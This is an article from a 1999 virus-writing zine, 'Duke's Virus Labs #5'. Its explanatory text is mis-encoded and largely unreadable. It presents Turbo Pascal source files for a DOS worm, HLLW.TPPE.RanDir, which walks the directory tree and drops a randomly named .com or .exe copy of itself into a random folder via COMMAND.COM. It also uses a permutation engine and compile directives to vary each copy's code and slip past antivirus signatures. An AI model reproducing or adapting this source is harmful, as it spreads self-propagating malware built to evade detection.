- [Duke's Virus Labs #5] - [Page 06] -

HLLW.TPPE.RanDir
(c) by Duke/SMF

     : HLLW.TPPE.RanDir
         : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 05.02.99


      㦥  箪.  権  ᯮ TRANS & PINC
Permutation Engine v0.1 [TPPE] by  :)) (. ୠ DVL #4,  8).
⮬   쭮 室    ࠧ 祡
 ;)
   ᪮   ࠢ ,  뢠   䠩 
   ᫠.  筮 ᯮ짮 COMMAND.COM (
类 ⥭ ⥫   )  ஢ .  楫 
 ୨樥  HLLW.RanDir.5424.
     ਢ   ⠭ 䠩  TPPE,  
ᠭ   楤 ( 室 ⥪ 室 
ਫ饬 娢).

===== begin tppe0.inc =====
{$M 10000, 5000, 10000}
{***********    ⠭ : ***********}
const MaxInc=12;
      Use = 'uses dos;';
{****************************************************}
const Dr:array [1..ComLen] of byte = {$I tppes.inc};
      OldKey:array [1..40] of byte = ({$I tppek.inc});
var Command,Compile:string;
    Dummy:byte;
    Fake:boolean;
    NewKey :array [1..40] of byte;
    Dropper:array [1..ComLen] of byte;
    Direct :array [0..17] of char;
function DetectComp:boolean;forward;
procedure TPPE_Mutation;forward;
procedure TPPE_1;forward;
procedure TPPE_2;forward;
procedure TPPE_3;forward;
procedure TPPE_4;forward;
procedure TPPE_5;forward;
procedure TPPE_6;forward;
{*** 짮⥫᪨ Var, Const, Label, Forward: ***}
var Kol,K,M:integer;
    NewName,Disk,P:string;
procedure Starting;forward;
procedure ScanTree(Dir:string);forward;
procedure MakeRandomName;forward;
procedure FindDir(Dir:string);forward;
===== end   tppe0.inc =====

===== begin tppe9.inc =====
procedure Starting;
begin
{$IFOPT N+}Kol:=0;{$ENDIF}
if not DetectComp then halt;
{$IFOPT P+}MakeRandomName;{$ENDIF}
{$IFOPT T+}TPPE_Mutation;{$ENDIF}
{$IFOPT N-}Kol:=0;{$ENDIF}
Disk:=copy(fexpand(paramstr(0)),1,2);
{$IFOPT S+}M:=0;{$ENDIF}
ScanTree(Disk);
{$IFOPT L-}K:=random(Kol);{$ENDIF}
{$IFOPT P-}MakeRandomName;{$ENDIF}
{$IFOPT L+}K:=random(Kol);{$ENDIF}
{$IFOPT S-}M:=0;{$ENDIF}
FindDir(Disk);
{$IFOPT T-}TPPE_Mutation;{$ENDIF}
NewName:=P+'\'+NewName;
exec(Command,'/c ren _tppe_.exe '+NewName+'>nul');
{$IFOPT I-}NewName:='[HLLW.TPPE.RanDir (c) by Duke/SMF]';{$ENDIF}
end;
===== end   tppe9.inc =====

===== begin tppe10.inc =====
procedure ScanTree(Dir:string);
var N:searchrec;
begin
{$IFOPT D+}Kol:=Kol+1;{$ENDIF}
if Dir[length(Dir)]<>'\'then Dir:=Dir+'\';
{$IFOPT D-}Kol:=Kol+1;{$ENDIF}
findfirst(Dir+'*.*',$3F,N);
while doserror=0 do
  begin
  with N do if (Attr and 16<>0) and (Name[1]<>'.')
    then ScanTree(Dir+Name);
  findnext(N);
  end;
end;
===== end   tppe10.inc =====

===== begin tppe11.inc =====
procedure MakeRandomName;
var i,d:byte;
begin
{$IFOPT F+}d:=random(8)+1;{$ENDIF}
{$IFOPT I+}NewName:='[HLLW.TPPE.RanDir (c) by Duke/SMF]';{$ENDIF}
NewName:='';
{$IFOPT F-}d:=random(8)+1;{$ENDIF}
for i:=1 to d do NewName:=NewName+chr(random(26)+97);
d:=random(255);
if {$IFOPT V+}d div 2 = d/2{$ELSE}d mod 2 = 1{$ENDIF}
  then NewName:=NewName+'.com' else NewName:=NewName+'.exe';
end;
===== end   tppe11.inc =====

===== begin tppe12.inc =====
procedure FindDir(Dir:string);
var N:searchrec;
begin
M:=M+1;
{$IFOPT B-}if M=K then P:=Dir;{$ENDIF}
if M<K then
  begin
  if Dir[length(Dir)]<>'\'then Dir:=Dir+'\';
  findfirst(Dir+'*.*',$3F,N);
  while doserror=0 do
    begin
    with N do if (Attr and 16<>0) and (Name[1]<>'.')
      then FindDir(Dir+Name);
    if M<K then findnext(N);
    end;
  end;
{$IFOPT B+}if M=K then P:=Dir;{$ENDIF}
end;
===== end   tppe12.inc =====
